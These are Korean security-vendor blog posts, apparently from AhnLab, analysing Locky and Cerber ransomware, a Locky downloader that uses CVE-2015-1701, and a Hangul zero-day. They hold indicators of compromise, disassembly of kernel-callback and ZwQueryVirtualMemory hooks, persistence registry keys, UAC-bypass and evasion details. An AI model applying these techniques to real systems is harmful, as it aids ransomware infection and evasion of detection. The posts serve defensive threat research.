4월 11일 발견된 Locky 랜섬웨어를 다운로드하는 악성코드에서 "CVE-2015-1701" 취약점이 사용된 것이 확인되었다. "CVE-2015-1701" 취약점은 2015년 4월, 'Operation RussianDoll' 이름으로 명명된 러시아발 APT(Advanced Persistent Threat) 공격에 사용되어 알려진 취약점이다. 참고로 Locky 랜섬웨어는 발견 당시부터 현재까지 윈도우 설치언어가 러시아어 인 경우, 동작하지 않는 특징을 갖는다. 즉, Locky 랜섬웨어는 러시아에서 제작/배포되는 것으로 추정되며, APT 공격에 사용된 취약점이 랜섬웨어에서도 동일하게 사용된 것이 흥미로운 부분이다. 또한, "CVE-2015-1701" 취약점과 관련하여 기 알려진 함수("ClientCopyImage") 외에 Win8 이상의 경우에는 새로운 공격기법도 확인되어 추가분석이 필요한 상황이다.

"CVE-2015-1701" 취약점은 Win7 환경에서만 동작하며 "CreateWindowsEx" API 를 통해 시스템 권한을 획득하는 것이 주 기능이다. 기존에 알려진 Locky 랜섬웨어 다운로드는 주로 이메일의 첨부파일(MS오피스문서, 자바스크립트 파일)을 통해 이루어진다. 하지만, 이번에 발견된 악성코드는 EXE 파일 형태로 Locky 랜섬웨어를 다운로드 하는 기능과 "CVE-2015-1701" 취약점이 포함된 특징을 갖는다. 이러한 다운로드 방식의 변화는 향후 Locky 랜섬웨어가 이메일이 아닌 다양한 방식을 통해 감염이 시도될 수 있음을 나타낸다.

 

1. Locky 다운로드

해당 다운로더는 "URLDownloadToCacheFileW" 함수를 사용하여 아래의 사이트로 접속 및 Locky 랜섬웨어 다운로드가 이루어진다.

- http://[xxxx].nussvital.com.ar/read.php 

 

2. CVE-2015-1701 취약점

 

(1) 취약점 대상

1차 조건은 OSMajorVersion 값이 6인 경우이며, 2차 조건은 대상 시스템의 "win32k.sys" 파일의 "수정날짜" 정보를 바탕으로 이루어지며, 지정된 날짜 이전 인 경우가 공격대상이다. 운영체제 버전 별로 악성코드 내부에 저장된 비교대상 날짜는 다음과 같다.

  • 2015년 5월 14일 (이전) - Win7

  • 2015년 2월 20일 (이전) - Win8 이상

날짜 정보를 얻어오는 방식은 "NtQueryInformationFile" API 호출을 통해 이루어지며, 운영체제 버전에 따라 비교하는 날짜가 다름을 알 수 있다. [그림-1]에서 악성코드에서 사용하는 [4113CC] 주소의 상수 값은 PEB(Process Environment Block) 구조체의 OSMajorVersion, OSMinorVersion 정보를 통해 얻은 운영체제 버전에 따라 설정되는 값이다. 좀 더 구체적으로 운영체제 마다 [4113CC] 주소의 상수 값이 설정되는 내용은 다음과 같다.

즉, 아래의 [그림-1]의 코드에서 Win7의 경우 14 값이 설정되며, "win32k.sys" 파일의 비교날짜는 2015년 5월 13일이다. 반면, 6.2 버전의 Win8의 경우는 2015년 2월 20일이 취약점 여부를 판단하는 기준날짜가 된다. 취약점 공격 대상 시스템은 OSMajorVersion 값이 6 인 환경이며, OSMinorVersion 값에 따라 [411404] 주소의 상수 값이 1과 2 로 설정되는 구조이다. [411404] 주소의 1, 2 값은 이후 후킹대상이 되는 함수를 결정하는 정보로 활용된다.

2 값으로 설정된 경우 "CVE-2015-1701" 취약점으로 알려진 KernelCallbackTable[0x36] 의 함수 주소 4바이트가 변경된다. (KernelCallbackTable[0x36] 에 해당하는 함수는 "ClientCopyImage" 임)

1 값으로 설정된 경우, KernelCallbackTable[0x02] 위치의 주소 4바이트가 변경되며 이 위치 값의 변경은 "CVE-2015-1701" 과 관련하여 알려지지 않은 상태이다.

 

[그림-1] 취약점 발생대상 (win32k.sys 날짜정보)

 

아래의 [그림-2]에서 "win32k.sys" 파일의 날짜정보를 얻기위해 "NtQueryInformationFile" API가 사용된 것을 알 수 있으며, 5번째 인자값 4는 FileBasicInformation 을 나타낸다.

[그림-2] 날짜 비교부분

 

(2) ClientCopyImage 주소 변경

아래의 [그림-3]은 CreateWindowExA 함수호출 시, 해당 윈도우에 대한 프로시저 구동 전 호출되는 ClientCopyImage 라는 이름의 Callback 함수 주소를 변경하는 코드이다. 악성코드는 우선 PEB 구조체의 0x2C 위치에 존재하는 KernelCallbackTable 주소를 얻어오며, [그림-1]에서 설정된 [411404] 주소의 상수 값에 따라 후킹대상 테이블의 인덱스가 다르게 설정되는 것을 확인할 수 있다.

4바이트 주소값 변경 시, "InterlockedExchange" API가 사용된다.

[그림-3] PEB's KernelCallbackTable 후킹

 

Win7 환경에서 아래의 붉은색 주소 4바이트 값이 PEB의 KernelCallbackTable[0x36] 에 위치한 함수주소에 해당하며, 수정 전의 값을 나타낸다. (USER32.DLL 영역)

77CF2A48  09 EB D0 77 92 8F D3 77 F6 19 D1 77 F3 28 D0 77
77CF2A58  4C 8E D3 77 FF 82 D0 77 B2 F4 CF 77 83 8E D3 77 

아래의 파란색 주소가 변경 후의 값을 나타낸다. 00403BFD 주소로 악성코드 영역으로 설정된 것을 알 수 있다.

77CF2A48  FD 3B 40 00 92 8F D3 77 F6 19 D1 77 F3 28 D0 77
77CF2A58  4C 8E D3 77 FF 82 D0 77 B2 F4 CF 77 83 8E D3 77 

아래의 [그림-4]는 ClientCopyImage 함수 후킹을 통해 분기한 곳에서 "SetWindowLongA" API 호출하는 부분으로 윈도우 프로시저를 커널영역의 디폴트 윈도우 프로시저(Default Window Procedure)로 변경하는 코드를 나타낸다. (GWL_WNDPROC(-4) -> "Sets a new address for the window procedure")

 

 

[그림-4] 윈도우 프로시저 주소변경

 

(3) 새로운 공격기법(?)

위의 [그림-3]에서 PEB 구조체의 KernelCallbackTable의 0x36(54) 위치의 함수인 "ClientCopyImage" 주소값이 후킹되는 것은 "CVE-2015-1701" 취약점과 관련하여 기 알려진 공격방식이다. 하지만, Win8 이상의 경우에 변경되는 KernelCallbackTable의 0x02 위치는 아직 알려지지 않는 공격기법으로 추가 분석이 필요한 상황이다.

 

[참고 사이트]

- https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html

- https://github.com/hfiref0x/CVE-2015-1701/

- http://blog.trendmicro.com/trendlabs-security-intelligence/exploring-cve-2015-1701-a-win32k-elevation-of-privilege-vulnerability-used-in-targeted-attacks/

 

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung

컴퓨터 파일을 인질로 삼은 후 돈(비트코인)을 요구하는 랜섬웨어(Ransomware)의 기세가 올해에도 식을 줄을 모르고 있다. 

2월부터 꾸준히 유포되고 있는 Locky 랜섬웨어에 이어 파일을 암호화한  스크립트를 이용해 목소리로 사용자에게 친절하게 비트코인을 요구하는 "Cerber 랜섬웨어"(이하 Cerber)의 감염 사례가 최근 꾸준히 접수되었다. Cerber 유포경로는 주로 광고 서비스의 정상적인 네트워크를 이용하여 악성코드를 유포하는 멀버타이징(Malvertising)”으로 알려져 있으며, 러시아 지하 시장”에서는 Cerber가 해커들에게 활발하게 판매되고 있는 것으로 파악된다

Malvertising 에 사용된 도메인 일부는 다음 [표-1]과 같다.

Malvertising에 사용된 도메인

angryfire.top

angrypack.top

asidewait.top

asklists.top

bidgood.top

bulkask.top

byfails.top

darkwoman.top

daysis.top

doubtnext.top

fewpieces.top

fitforget.top

flattank.top

fliedman.top

hostdoors.top

joinsseen.top

losefate.top

mapquote.top

mixplanet.top

quickwise.top

sadshame.top

thatan.top

turnedway.top

vagueland.top

wifestood.top

[-1Malvertising에 사용된 도메인


아래의 [그림-1] Cerber 동작을 보여준다.


[그림-1] 악성코드 주요기능 동작과정


이전에 유포 되었던 Cryptowall, Teslacrypt, Locky 랜섬웨어와 Cerber와의 가장 큰 차이점은 PE 파일의 리소스 영역 안에 미리 RSA 공개키를 보관해 둔다는 것이다. RSA 공개키 뿐만 아니라 감염 대상, 감염 방법 등도 함께 저장되어 있어 시스템 감염을 위해 따로 C&C와의 실시간 통신을 할 필요가 없다. 공격자 입장에서는 편의성이 좋아진 것이다. 

또한 Cerber에 감염되면 암호화한 파일의 확장자를 ".cerber"로 변경하며, [그림-2]와 같이 “# DECRYPT MY FILES #.vbs” 라는 이름의 비주얼 베이직 스크립트를 생성하여 당신의 파일이 암호화 되었습니다.”라는 경고문구를 직접 읽어주는 방법을 사용한다.


[그림-2] Cerber 음성 안내문


“# DECRYPT MY FILES #.vbs” 파일과 함께 생성되는 "# DECRYPT MY FILES #.html"과 # DECRYPT MY FILES #.txt" 파일은 암호화된 복호화를 위한 페이지 URL을 제공해 주는데, 파일 복호화 및 비트코인 결제 진행하기 위해서는 익명성을 보장해 주는 토르 브라우저 설치한 [그림-3] 빨간색 주소(“http://비트코인 결제 페이지/PC_ID” 형식이다.) 접속하라는 안내가 되어 있다.


[그림-3] Cerber Bitcoin 안내 페이지


접속 시에는 간단한 국가 확인  인증 후에 파일 복구를 위해 0.75.BTC( 36만원)에서 2.48BTC(약 120만원)의 비트코인을 지불하라는 문구가 게시되어 있다.


[그림-4] Cerber Bitcoin 결제 페이지


다음으로 Cerber가 어떠한 동작기능을 가지고 있는지 간단히 알아보자.


UAC 우회

Cerber 암호화를 진행하기 UAC(User Access Control) 우회여부를 확인한다. UAC Windows Vista이상 운영체제의 보안기능 하나로써 관리자 수준 권한이 필요한 작업이 수행될 경우 사용자에게 알려주는 기능이다. Vista 이상 운영체제에는 사용자의 동의과정을 거친 프로세스가 관리자 권한을 가질 있다

Cerber 과정을 회피하기 위하여 UAC 우회를 시도하는데, [표-2]와 같이 레지스트리 값을 확인하여 UAC 기능이 존재하는 확인한다.

UAC 레지스트리 존재 유무 확인

HKLM\Software\Microsoft\Windows\CurrentVersion\policies\system

- Value: EnableLUA

[-2] 암호화 대상 드라이브

레지스트리를 확인한 다음으로 UAC 우회가 가능한 PE 파일을 “%windir%\system32\“ 경로에서 찾아 임시폴더에 복사한 후, 프로그램 코드 진입점에 Cerber를 실행 시키는 코드를 삽입 하여 UAC를 우회한다. 또한 동작 중인 프로세스에 SeDebugPrivilege API 호출하 코드를 삽입하여 모든 프로세스에 대한 접근권한을 획득한다.


[그림- 5] 관리자 권한을 사용하는 PE파일의 매니페스트 정보

[그림- 6] 동작중인 프로세스 진입점에 SeDebugPrivilege API를 호출하는 코드 인젝션


파일 생성 및 레지스트리 등록

다음과 같은 파일 생성 및 레지스트리를 등록하여 시스템 재부팅 시 동작되게 한다파일명은 %windir%\system32\ 폴더 내에 있는 윈도우 실행 파일  하나를 선택하여 이름을 변경한다. 여기서 cerber의 파일명은 “mmc.exe”가 아닌 다른 파일명일 수 있다.

파일 생성  레지스트리 등록


파일 생성        : %APPDATA%\[RANDOM CLSID]\mmc.exe

                    C:\Documents and Settings\...\프로그램\시작프로그램\mmc.lnk

레지스트리 생성 : HKCU\Software\Microsoft\Windows\CurrentVersion\Run\

                    - Value: mmc

                    - Data: “%appdata%\[RANDOM CLSID]\mmc

                    HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

                    - Value: mmc

                    - Data: “%appdata%\[RANDOM CLSID]\mmc

                    HKCU\Software\Microsoft\Command Processor\AutoRun

                    - Value: mmc

                    - Data: “%appdata%\[RANDOM CLSID]\mmc

                    HKCU\Printers\Defaults\[RANDOM CLSID]

                    - Value: Component_00, Component_01

                    - Data: base64 바이너리 데이터

[-3] 파일 생성  레지스트리 등록


볼륨 쉐도우(Windows Volume Shadow) 삭제

Cerber는 감염 동작 중 윈도우즈 볼륨 쉐도우(Windows Volume Shadow)를 삭제하여 윈도우 시스템 복구가 불가능하도록 한다.


파일 암호화

Cerber RSA 공개키는 Cerber 리소스 영역의 RCDATA 디렉토리 존재한다. 암호화 되어 있는 상태로 존재하기 때문에 Cerber는 내부에서 복호화 과정을 거쳐 RSA 공개키를 복구한다. 복호화된 데이터에는 RSA 공개키와 파일 암호화 대상, 암호화 제외 대상, C&C 정보, Anti-Virus 여부, 기타 옵션 설정 및 "# DECRYPT MY FILES #"의 파일 본체 등이 저장되어 있다.


[그림- 6] 리소스 영역의 RCDATA 디렉토리 검색

[그림- 7] 공개키가 포함된 리소스 영역 저장 정보


Cerber 암호화대상

Cerber가 감염시키는 대상을 [표-4], [표-5], [표-6]에 정리해 보았다.

암호화 대상 드라이브

고정식 드라이브, 이동식 드라이브, RAM 드라이브

[-4] Cerber 암호화 대상 드라이브


다음은 암호화 대상으로 하는 파일이다. 공격자가 RCDATA 데이터의 옵션 수정을 통해 암호화 대상 확장자를 추가할 수 있다.

1cd 3dm 3ds 3fr 3g2 3gp 3pr 7z 7zip aac ab4 accdb accde
accdr accdt ach acr act adb adp ads agdl ai aiff ait al
aoi apj arw asf asm asp aspx asx avi awg back bak bank
bay bdb bgt bik bin bkp blend bmp bpw c cdf cdr cdr3
cdr4 cdr5 cdr6 cdrw cdx ce1 ce2 cer cfg cgm cib class cls
cmt cpi cpp cr2 craw crt crw cs csh csl css csv dac
dat db db3 dbf dbx dc2 dcr dcs ddd ddoc ddrw dds der
des dgc dit djvu dng doc docm docx dot dotm dotx drf drw
dtd dwg dxb dxf dxg edb eml eps erf exf fdb ffd fff
fh fhd fla flac flf flv flvv fpx fxg gif gray grey gry
h hbk hdd hpp html ibank ibd ibz idx iif iiq indd java
jnt jpe jpeg jpg js kc2 kdbx kdc key kpdx kwm ldf lit
log lua m m2ts m3u m4p m4v max mbx md mdb mdc mdf
mef mfw mid mkv mlb mmw mny mos mov mp3 mp4 mpeg mpg
mrw msg myd nd ndd ndf nef nk2 nop nrw ns2 ns3 ns4
nsd nsf nsg nsh nvram nwb nx2 nxl nyf oab obj odb odc
odf odg odm odp ods odt ogg oil orf ost otg oth otp
ots ott p12 p7b p7c pab pages pas pat pcd pct pdb pdd
pdf pef pem pfx php pif pl plc png pot potm potx ppam
pps ppsm ppsm ppsx ppt pptm pptm pptx prf ps psd pst ptx
pwm py qba qbb qbm qbr qbw qbx qby qcow qcow2 qed r3d
raf rar rat raw rdb rm rtf rvt rw2 rwl rwz s3db safe
sav save say sd0 sda sdf sldm sldx sql sr2 srf srt srw
st4 st5 st6 st7 st8 stc std sti stm stw stx svg swf
sxc sxd sxg sxi sxm sxw tex tga thm tlg txt vbox vdi
vhd vhdx vmdk vmsd vmx vmxf vob wab wad wallet wav wb2 wma
wmv wpd wps x11 x3f xis xla xlam xlk xlm xlr xls xlsb
xlsm xlsx xlt xltm xltx xlw xml yuv zip ycbcra backup
backupdb config contact db_journal design erbsql
groups incpas laccdb mapimail moneywell plus_muhd
psafe3 pspimage sas7bdat sqlite sqlite3 sqlitedb

[-5] Cerber 암호화 대상 - 확장자

암호화 대상 파일


%appdata%\....\qmgr0.dat


%appdata%\....\qmgr1.dat

C:\Document and setting\...\NTUSER.DAT.LOG

C:\Document and setting\...\History\IE5\index.dat

C:\Document and setting\...\Cookies\index.dat

C:\Document and setting\...\Content\IE5\index.dat

C:\Document and setting\...\IETldCache\index.dat


[-6] Cerber 암호화 대상 - 파일


또한 Cerber는 암호화 제외 대상이 존재한. [표-7]에 정리해 두었으며 특징으로는 시스템 폴더 및 비트코인 클라이언트 파일은 암호화 하지 않고, 러시아권 국가 및 언어권 시스템들도 감염시키지 않는다는 것이다. 

암호화 제외 대상(문자열 비교)

국가 및 특정 언어 사용 시스템

파일

폴더

아르메니아

아제르바이잔

벨라루스

조지아

타지키스탄

몰도바

러시아

투르크메니스탄

타지키스탄

우크라이나

우즈베키스탄

bootsect.bak

iconcache.db

thumbs.db

wallet.dat

$recycle.bin

Boot

program files

users\\all users

windows

appdata\\local

$windows.~bt

Drivers

program files (x86)

programdata

appdata\\locallow

appdata\\roaming

public\\music\\sample music

public\\pictures\\sample pictures

public\\videos\\sample videos

tor browser

[-7] 암호화 제외 대상


암호화되어 생성되는 파일은 "[랜덤숫자,영문10글자].cerber" 형식으로 저장되며 원본 데이터, 파일의 이름 정보 등이 암호화하여 저장된다

[그림- 8] 암호화 파일명 변경


암호화가 완료되면 시스템 종료 명령을 실행시켜 강제로 시스템을 재부팅 시킨 , 재부팅 시에 결제 안내문을 띄어 비트코인 결제를 유도한다.


[그림- 9] 시스템 재부팅 경고 메시지


해당 Cerber 랜섬웨어 파일은 V3 제품에서 다음 진단명으로 진단 가능하며, [그림-5]와 같이 랜섬웨어의 악의적인 동작을 탐지하여 추가 감염이 발생하지 않도록 차단하고 있다. 행위기반 진단은 시그니처 업데이트 없이 특정 행위만으로 진단하기에 효과적인 보안 기능을 제공할 수 있다.

- Trojan/Win32.Cerber


[그림- 10] Cerber 랜섬웨어 행위기반 진단


최근 급증하는 랜섬웨어 감염을 예방하기 위해 사용자의 각별한 주의가 요구되며, 발신자가 불분명한 이메일이나 의심스러운 첨부파일은 열어보지 않도록 주의를 기울일 필요가 있다.


APT 전문 대응 솔루션 ‘안랩 MDS’에 포함된 실행보류 기능(execution holding, 네트워크에서 발견된 의심파일을 분석이 끝나기 전까지 PC에서 실행되는 것을 막아주는 기능)으로 예방이 가능하다

또한안랩은 최근 이슈되고 있는 랜섬웨어와 랜섬웨어 변종에 대한 정보를 ‘랜섬웨어 보안센터 (www.ahnlab.com/kr/site/securityinfo/ransomware/index.do#cont2) 에서 제공 중이다.


신고
Creative Commons License
Creative Commons License
Posted by 비회원

3월부터 현재까지 Locky 라는 이름의 랜섬웨어의 국내감염 사례가 지속적으로 발생하고 있다. 국내뿐 아니라 해외 여러 보안업체에서도 이러한 Locky 랜섬웨어 대응을 위한 다양한 시도들이 진행되고 있으며, 제작자 또한 이를 우회하기 위해 기존의 동작방식에 변화를 주는 추세이다. 본 글에서는 최근 국내접수 Locky 를 통해 확인한 변화내용 3가지를 소개하고자 한다.

 

1. DGA (Domain Generation Algorithm) 호출방식

Locky 는 파일 암호화에 사용할 키 정보를 얻기위해 내부에 저장된 IP 로 접속을 시도한다. (접속 실패 시, 파일 암호화 과정 실패) 과거에는 "main.php" 가 최근에는 "submit.php"가 이용되고 있다.

최근에 발견되는 Locky 에는 총 3곳의 IP가 존재하며, 1차로 저장된 IP 로의 접속 실패 시, 2차로 고유한 DGA 함수를 통해 생성한 도메인으로 접속을 시도한다. Locky 에서 사용하는 DGA 함수는 "GetSystemTime" 함수를 통해 얻은 년/월/일 정보를 통해 생성되는 구조이며, 매일 생성하는 도메인이 변경되는 특징을 갖는다. (하루에 12개 씩)

Locky 에서 사용하는 DGA 알고리즘은 현재까지 총 2가지 방식이 알려져있다. 아래의 사이트에서 각 알고리즘 별로 dga.py, dgav2.py 이름의 파이썬 코드를 공개하였다. 이를 통해 Locky 가 접속시도하는 도메인 정보를 사전에 미리 인지하여 탐지에 활용할 수 있다.

- [참고] https://github.com/baderj/domain_generation_algorithms/tree/master/locky

하지만, DGA 알고리즘에서 가장 핵심이 되는 것이 seed 값(4바이트 상수)으로 Locky 마다 가변적인 형태로 발견되고 있다. 즉, 알려지지 않은 Locky 에 대해 도메인을 사전에 인지하는 것은 어려운 구조를 갖는다.

최근 접수 Locky 에서는 DGA 방식은 동일하나 12개의 도메인이 순차적으로 생성되는 것이 아닌, 이 중 일부가 선택되어 접속하는 방식으로 변경되었다.

아래의 [그림-1], [그림-2]는 각각 과거/현재 DGA 함수를 호출하는 부분이다. 최근 파일에서는 DGA 함수 호출 전, CryptGenRandom 함수를 통해 얻은 난수값을 12로 나눈 나머지 값(0~11)이 DGA 함수 호출 시, 인지값으로 사용되는 것을 알 수 있다. 인자값은 12개 생성 도메인의 인덱스와 같은 기능을 하며, 해당 코드의 추가로 기존과 달리 접속하는 도메인이 중복/누락될 수 있는 구조를 갖는다.

[그림-1] DGA 함수 호출방식 (과거)

 

[그림-2] DGA 함수 호출방식 (최근)

 

Locky 에서 고유한 seed 값이 저장된 위치는 GetSystemDefaultLangID 함수 호출 전, 얻어오는 구조를 갖는다.

00A045F0 A1 4C48A100   MOV    EAX, DWORD PTR DS:[A1484C]  ; seed
00A045F5 A3 84AAA100   MOV    DWORD PTR DS:[A1AA84], EAX  
00A045FA A0 5648A100   MOV    AL, BYTE PTR DS:[A14856]
00A045FF 84C0          TEST   AL, AL
00A04601 74 3B         JE     SHORT 00A0463E
00A04603 FF15 2021A100 CALL   DWORD PTR DS:[A12120]       ; GetSystemDefaultLangID 

00A04B5D A1 00B0A100   MOV    EAX, DWORD PTR DS:[A1B000]
00A04B62 8078 0E 00    CMP    BYTE PTR DS:[EAX+E], 0
00A04B66 8B48 04       MOV    ECX, DWORD PTR DS:[EAX+4]    ; seed
00A04B69 890D 04B0A100 MOV    DWORD PTR DS:[A1B004], ECX
00A04B6F 74 40         JE     SHORT 00A04BB1
00A04B71 FF15 1C21A100 CALL   DWORD PTR DS:[A1211C]        ; GetSystemDefaultLangID

 

2. IP 주소 암호화

최근에는 접속에 사용되는 IP 정보가 암호화되어 저장된 형태이며, 실행 시점에 동적으로 복호화하여 생성하는 구조를 갖는다. 아래의 [그림-3], [그림-4]는 과거/현재 IP 주소가 존재하는 부분을 나타내며, 최근에는 IP주소가 동적으로 할당받은 메모리 공간에 쓰여진 것을 확인할 수 있다.

[그림-3] 파일내부에 저장된 IP정보 (과거) 

 

[그림-4] 실행시점에 동적으로 생성된 IP정보 (현재)

 

 

3. ZwQueryVirtualMemory API 후킹

최근 Locky 의 경우, "ZwQueryVirtualMemory" API를 후킹하는 기능을 갖는다. 아래의 [그림-5]는 과거/현재 Locky 내부의 문자열 데이터 중 일부이며, 최근에 "ntdll.dll", "NtQueryVirtualMemory" 문자열이 추가된 것을 알 수 있다.

[그림-5] 새롭게 추가된 API 후킹기능

 

아래의 [그림-6]은 후킹 전/후의 "ZwQueryVirtualMemory" API 시작부분을 나타낸다. 후킹 후, 함수 시작이 JMP 코드로 변경되었으며, 분기하는 위치는 Locky 랜섬웨어 코드영역이다.

[그림-6] ZwQueryVirtualMemory 함수(변경 전/후)

 

아래의 [그림-7]은 후킹을 통해 분기하는 곳 (0x008D0000)의 코드를 나타내며, "PAGE_EXECUTE" 속성이 부여된 메모리인 경우, 강제로 "MEM_IMAGE" 로 해당 메모리에 대한 상태(Type) 값이 설정되는 기능을 수행한다.

[그림-7]의 '0x008D0033' 주소의 [ECX]는 "MEMORY_BASIC_INFORMATION" 구조체를 나타내며, [ECX+14]와 [ECX+18]은 각각 해당 구조체의 'Protect'와 'Type' 값을 나타낸다.

typedef struct _MEMORY_BASIC_INFORMATION {
  PVOID  BaseAddress;
  PVOID  AllocationBase;
  DWORD  AllocationProtect;
  SIZE_T RegionSize;
  DWORD  State;
  DWORD  Protect;
  DWORD  Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

 

[그림-7] 후킹함수 부분

TEST [ECX+14], F0 명령어의 조건을 만족하는 경우는 메모리의 Protect 값이 아래의 4가지인 경우이며, 이 때 Type 값을 강제로 MEM_IMAGE(0x1000000)로 설정하는 기능을 한다.

  • PAGE_EXECUTE (0x10)
  • PAGE_EXECUTE_READ (0x20)
  • PAGE_EXECUTE_READWRITE (0x40)
  • PAGE_EXECUTE_WRITECOPY (0x80)

아래의 [그림-8]은 "ZwQueryVirtualMemory" 함수 시작 6바이트를 변경하는 코드를 나타낸다.

[그림-8] 메모리 패치하는 코드

 

이러한 기능의 후킹코드의 추가는 일반적인 악성코드에서는 잘 사용하지 않는 것으로 Locky 랜섬웨어가 동적으로 할당받은 메모리 공간(Private 영역)에 새롭게 생성한 자신의 PE 이미지(Execute 속성)가 다양한 분석툴 및 보안모듈(인젝션 코드탐지)에 의해 탐지/추출되는 것을 우회하기 위한 것으로 추정된다.

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung

최근 다양한 경로를 통해 유포되고 있는 신종 Locky (록키) 랜섬웨어로 인한 피해가 급증하고 있어 사용자의 각별한 주의가 요구되고 있다. 


Locky 랜섬웨어는 주로 이메일 첨부파일에 가짜 송장 파일이나 급여 명세서와 같이 사용자의 호기심을 불러 일으키는 파일을 포함하여 사용자로 하여금 의심없이 파일을 실행하도록 하는 사회공학적 기법을 사용하여 유포된다.

이메일 첨부파일은 오피스 문서인 Excel(엑셀) Word(워드) 파일 내 악성코드를 다운로드 하는 Macro(매크로) 를 포함하는 형태이며, 최근에는 악성코드를 다운로드 하는 스크립트 파일을 압축하여 ZIP 파일로 직접 첨부하는 형태로 제작되고 있다. 

또한, Locky 랜섬웨어 감염 시 사용자의 시스템 뿐만 아니라 연결된 네트워크 드라이브를 스캔하여 추가 감염을 진행하기 때문에 전파 속도와 범위가 증가하고 있다.


아래의 [그림-1]은 최근 Locky 랜섬웨어 파일이 이메일 첨부파일로 유포되는 형태이며, 다음과 같이 발신자가 불분명한 메일을 수신할 경우 첨부파일을 열어보지 않도록 각별히 주의할 필요가 있다.

[그림-1] 이메일 첨부파일로 Locky 랜섬웨어가 유포되는 형태


[그림-2] 와 같이 이메일 내용 및 첨부된 파일명은 주로 급여 명세서나 송장을 위장하여 정상으로 보이지만, 실제 해당 압축파일 내에는 Locky 랜섬웨어를 다운로드 하는 스크립트 (JavaScript) 파일이 존재한다. 사용자가 의심없이 해당 파일을 실행할 경우 Locky 랜섬웨어 실행파일을 다운로드 하며, 이후 시스템 감염을 진행한다.

[그림-2] 첨부된 압축파일 내 포함된 스크립트 파일


아래의 [그림-3] 최근 유포되고 있는 Locky 랜섬웨어 전체 동작흐름을 나타낸다.

[그림-3] Locky 랜섬웨어 유포 경로


Locky 랜섬웨어에 감염되면 암호화한 파일의 확장자를 ".locky"로 변경하는 것이 특징이며, 시스템 감염이 완료되면 [그림-4]와 같이 암호화 된 파일을 복구하는 비용으로 비트코인 (BitCoin) 지불을 요구하는 내용의 그림 파일을 바탕화면으로 지정한다.

[그림-4] 감염 후 변경되는 바탕화면 이미지


Locky 랜섬웨어가 감염시키는 대상은 [표-1]과 같으며, 해당 드라이브의 모든 폴더와 파일 목록을 조회하여 감염 대상을 찾는다.

[표-1] Locky 랜섬웨어 감염 대상 드라이브


아래의 [표-2]는 암호화 대상으로 하는 파일의 확장자를 나타내며, 최근에는 한글파일 "hwp" 확장자가 추가되었다.

m4u

001

002

003

004

005

006

007

008

009

010

011

123

3dm

3ds

3g2

3gp

602

7z

aes

ARC

asc

asf

asm

asp

Avi

bak

bat

bmp

brd

bz2

c

cgm

class

cmd

cpp

crt

cs

csr

CSV

db

dbf

dch

dif

dip

djv

djvu

DOC

docb

docm

docx

DOT

dotm

dotx

fla

flv

frm

gif

gpg

gz

h

hwp

ibd

jar

java

jpeg

jpg

js

key

lay

lay6

ldf

m3u

max

mdb

mdf

mid

mkv

mml

mov

mp3

mp4

mpeg

mpg

ms11

MYD

MYI

NEF

odb

odg

odp

ods

odt

onetoc2

otg

otp

ots

ott

p12

PAQ

pas

pdf

pem

php

pl

png

pot

potm

potx

ppam

pps

ppsm

ppsx

PPT

pptm

pptx

psd

pst

qcow2

rar

raw

rb

RTF

sch

sh

sldm

sldx

slk

sql

stc

std

sti

stw

svg

swf

sxc

sxd

sxi

sxm

sxw

tar

tbk

tgz

tif

tiff

txt

uop

uot

vb

vbs

vdi

vmdk

vmx

vob

wav

wb2

wk1

wks

wma

wmv

xlc

xlm

XLS

xlsb

xlsm

xlsx

xlt

xltm

xltx

xlw

xml

zip

SQLITEDB

SQLITE3

wallet.dat

 

 

 

 

[표-2] Locky 랜섬웨어 감염 대상 확장자


또한, [표-3]과 같이 Locky 랜섬웨어 감염에서 제외하는 대상도 존재한다. 

이는 대부분 시스템 파일들로써, 비트코인 지불을 유도하는 그림파일과 텍스트 파일도 감염 대상에서 제외시킨다.

[표-3] Locky 랜섬웨어 감염 제외 대상


Locky 랜섬웨어 감염시 윈도우즈 볼륨 쉐도우(Windows Volume Shadow) 를 삭제하여 윈도우 시스템 복구가 불가능하도록 한다.


해당 Locky 랜섬웨어 파일은 V3 제품에서 다음 진단명으로 진단 가능하며, [그림-5]와 같이 랜섬웨어의 악의적인 동작을 탐지하여 추가 감염이 발생하지 않도록 차단하고 있다. 행위기반 진단은 시그니처 업데이트 없이 특정 행위만으로 진단하기에 효과적인 보안 기능을 제공할 수 있다.

- JS/Obfus.Gen

- JS/Nemucod

- JS/Downloader

- JS/Obfus.S1 ~ JS/Obfus.S16

- Win-Trojan/Lockycrypt.Gen

- Trojan/Win32.Locky

[그림-5] Locky 랜섬웨어 행위기반 진단


최근 급증하는 랜섬웨어 감염을 예방하기 위해 사용자의 각별한 주의가 요구되며, 발신자가 불분명한 이메일이나 의심스러운 첨부파일은 열어보지 않도록 주의를 기울일 필요가 있다.


APT 전문 대응 솔루션 ‘안랩 MDS’에 포함된 실행보류 기능(execution holding, 네트워크에서 발견된 의심파일을 분석이 끝나기 전까지 PC에서 실행되는 것을 막아주는 기능)으로 예방이 가능하다

또한, 안랩은 Locky (록키) 랜섬웨어와 변종을 비롯한 다양한 랜섬웨어에 대한 정보를 ‘랜섬웨어 보안센터 (www.ahnlab.com/kr/site/securityinfo/ransomware/index.do#cont2) 에서 제공 중이다.


신고
Creative Commons License
Creative Commons License
Posted by a0_zest

지난 2015 5 12일 한글 프로그램 최신 패치버전에서 동작하는 제로데이 취약점 파일이 접수되어 사용자의 각별한 주의가 요구된다.

취약점이 발생하는 프로그램은 한글2007, 2010, 2014 버전이 모두 해당되며 2015 3 31일 업데이트 된 최신 패치가 적용된 상태에서도 동작하도록 제작되었다. 취약점 발생 이후에는 다운로더 기능의 악성파일을 생성하며 주기적으로 특정 사이트로 접속을 시도한다.

V3 에서는 취약점 한글 파일을 "HWP/Exploit"(V3: 2015.05.12.02) 으로, 취약점 발생 이후 생성하는 악성파일을 "Win-Trojan/Hwdoor.107620"(V3: 2015.05.12.02) 로 진단한다.

취약점 피해를 예방하기 위해 아래의 한글과컴퓨터에서 제공한 2015.05.21 일자 보안 업데이트를 다운로드 받아 설치하거나, 자동 업데이트를 통해 한글 최신버전으로 업데이트하는 작업이 필요하다.

-       http://www.hancom.com/downLoad.downPU.do?mcd=001

 

